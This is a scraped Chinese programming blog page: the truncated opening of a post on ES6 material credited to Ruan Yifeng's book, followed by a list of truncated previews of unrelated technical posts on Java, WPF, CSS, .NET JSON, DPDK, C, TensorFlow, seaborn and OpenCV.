    声明 本篇内容全部摘自阮一峰的:ECMAScript 6 入门 阮一峰的这本书,我个人觉得写得挺好的,不管是描述方面,还是例子,都讲得挺通俗易懂,每个新特性基本都还会跟 ES5 旧标准做比较,说明为什 ...

随机推荐

  1. 分享一个你很可能不知道的Java异常实现的缺陷

    前言 Java中一个大家熟知的知识点就是异常捕获,try...catch...finally组合,但是很多人不知道这里面有一个关于Java的缺陷,或者说是异常实现的一点不足之处. 我这边就通过一个很简 ...

  2. WPF中的“资源”

    WPF中的"资源" 资源概述 WPF中的资源的概念有点类似 web 技术中的静态资源的概念.可以是一个样式,也可以是一个button的边框设置集合. 可以简单的将资源分为如下几个类 ...

  3. CCS选择器 选择器优先级 选择器常见属性

    目录 CSS前戏 1.css语法结构 2.css注释语法 3.引入css的多种方式 CSS基本选择器 1.标签选择器 2.类选择器 3.id选择器 4.通用选择器 CSS组合选择器 1.后代选择器(空 ...

  4. 使用 System.Text.Json 时,如何处理 Dictionary 中 Key 为自定义类型的问题

    在使用 System.Text.Json 进行 JSON 序列化和反序列化操作时,我们会遇到一个问题:如何处理字典中的 Key 为自定义类型的问题. 背景说明 例如,我们有如下代码:   // 定义一 ...

  5. DPDK编译与演示

    环境 安装dpdk 安装依赖 环境配置 编译 遇到过的问题 dpdk使用 设置hugepage helloworld演示 遇到问题 timer演示 环境 虚拟机系统:ubuntu:1404 安装dpd ...

  6. snprintf拼接字符串

    例如编辑一个txt文档,不断将字符输入,最终形成一个长句子.可以看成是字符串的不断拼接.snprintf函数具有这个功能. #include<stdio.h> void main(void ...

  7. Java基础之常用类(String类)

    String 类 定义 String 类代表字符串.Java 程序中的所有字符串字面值(如 "abc" )都作为此类的实例实现.我们可以将字符串看作是String, 但是严格意义上 ...

  8. [python] tensorflow中的argmax()函数argmax()函数

    首先 import tensorflow as tf tf.argmax(tenso,n)函数会返回tensor中参数指定的维度中的最大值的索引或者向量.当tensor为矩阵返回向量,tensor为向 ...

  9. [seaborn] seaborn学习笔记3-直方图Histogramplot

    文章目录 3 直方图Histogramplot 1. 基本直方图的绘制 Basic histogram 2. 数据分布与密度信息显示 Control rug and density on seabor ...

  10. [OpenCV实战]44 使用OpenCV进行图像超分放大

    图像超分辨率(Image Super Resolution)是指从低分辨率图像或图像序列得到高分辨率图像.图像超分辨率是计算机视觉领域中一个非常重要的研究问题,广泛应用于医学图像分析.生物识别.视频监 ...